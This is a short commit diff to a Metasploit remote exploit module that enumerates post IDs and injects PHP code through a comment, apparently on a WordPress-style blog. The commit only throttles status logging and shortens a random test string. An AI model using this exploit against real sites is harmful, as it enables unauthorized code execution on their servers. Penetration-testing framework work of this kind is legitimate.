Fix @jlee-r7's feedback
parent
52b721c334
commit
9b5e96b66f
|
@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def find_post_id
|
||||
(1..1000).each{|id|
|
||||
vprint_status("#{peer} - Checking POST ID #{id}...")
|
||||
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
|
||||
res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
|
||||
return id if res
|
||||
}
|
||||
|
@ -195,7 +195,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
random_test = rand_text_alpha(4096)
|
||||
random_test = rand_text_alpha(64)
|
||||
@sum = Rex::Text.sha1(random_test)
|
||||
|
||||
print_status("#{peer} - Injecting the PHP Code throw a comment...")
|
||||
|
|
Loading…
Reference in New Issue